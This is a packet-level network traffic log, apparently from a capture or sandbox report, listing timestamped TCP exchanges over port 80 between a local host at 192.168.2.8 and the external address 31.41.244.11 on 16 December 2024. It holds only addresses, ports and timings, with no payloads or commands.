Dec 16, 2024 17:02:25.695738077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.695753098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.695766926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.695796967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.696322918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.696366072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.696378946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.696394920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.696414948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.696429968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.696787119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697206020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697228909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697244883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697247982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.697268009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.697289944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.697505951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697839022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697863102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697885036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.697890997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.697909117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.697931051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.698185921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.698229074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.698803902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.698822021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.698838949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.698847055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.698863029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.698882103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.699115038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.699155092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.699696064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.699709892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.699728012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.699740887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.699768066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.700000048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.700045109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.700434923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.700479031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.700512886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.700526953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.700550079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.700566053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.700925112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.701325893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.701370955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.701421022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.701435089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.701453924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.701478958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.701852083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.702235937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.702280045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.702321053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.702363014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.702676058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.702691078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.702719927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.703191996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.703233957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.703263044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.703278065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.703303099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.703322887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.703556061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.703994989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.704034090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.704058886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.704073906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.704097986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.704122066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.704494953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.704829931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.704926968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.704967976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.705060005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.705075979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.705101013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.705116034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.705899000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.705914021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.705964088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.875567913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.875642061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.875683069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.875699997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.875735044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.875750065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.876075983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.876367092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.876385927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.876395941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.876411915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.876456022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.876585007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.876601934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.876616955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.876640081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.876667023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.877127886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.877187967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.877397060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.877415895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.877448082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.877461910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.877902985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.878119946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.878173113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.878205061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.878221035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.878247023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.878274918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.878633976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.878973007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.879023075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.879153967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.879170895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.879198074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.879224062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.879508018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.879842043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.879884958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.879966021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.880008936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.880161047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.880177021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.880202055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.880214930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.880850077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.880981922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.880996943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.881025076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.881050110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.881501913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.881561995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.881778955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.881794930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.881810904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.881839991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.881865025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.882217884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.882399082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.882441998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.882550001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.882565975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.882589102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.882615089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.882915020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.883030891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.883465052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.883507967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.883517027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.883533955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.883557081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.883569002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.883829117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.883882999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.884232044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.884282112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.884354115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.884368896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.884396076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.884407997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.884970903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.885052919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.885234118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.885284901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.885415077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.885432005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.885476112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.885900974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.885960102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.886727095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.886743069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.886758089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.886778116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.886812925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.887370110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.887415886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.887592077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.887655020 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.887855053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.887871027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.887897015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.887948036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.888335943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.888381004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.888732910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.888777018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.888868093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.888884068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.888926029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.889327049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.889375925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.889852047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.889894962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.890006065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.890022039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.890048027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.890060902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.890388012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.891033888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.891079903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.891200066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.891216040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.891254902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.891562939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.891669035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.892056942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.892162085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.892194033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.892210960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.892234087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.892244101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.892419100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.892472029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.892888069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893014908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.893192053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893208027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893234968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.893254995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.893341064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893392086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.893753052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893796921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.893841028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893857002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.893942118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.893996000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.894185066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.894239902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.894722939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.894819021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.894864082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.894982100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.894998074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.895029068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.895055056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.895364046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.895411968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.895420074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.895436049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.895459890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.895473957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.895873070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.895921946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.896058083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.896101952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.896296024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.896311998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.896337986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.896353960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.896836996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.896881104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.896894932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.896934986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897087097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897111893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897130966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897145987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897161007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897176027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897192001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897244930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897244930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897244930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897244930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897244930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897244930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897593975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897609949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897624969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.897651911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.897680998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.898010969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.898222923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.898240089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:25.898269892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:25.898297071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.066925049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.067060947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.067075014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.067166090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.067181110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.067331076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.067331076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.067331076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.067512035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.068475008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.068530083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.068613052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.068629980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.068655968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.068690062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.068996906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.069011927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.069060087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.069515944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.069569111 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.069695950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.069745064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.069971085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.069987059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.070019960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.070033073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.070331097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.070545912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.070593119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.070799112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.070816040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.070847988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.070873976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.071185112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.071400881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.071449995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.071472883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.071512938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.071697950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.071712971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.071748018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.071760893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.072202921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.072462082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.072505951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.072592974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.072607994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.072637081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.072664976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.072900057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.073194027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.073240042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.073301077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.073314905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.073348045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.073374987 CET	49712	80	192.168.2.8	31.41.244.11
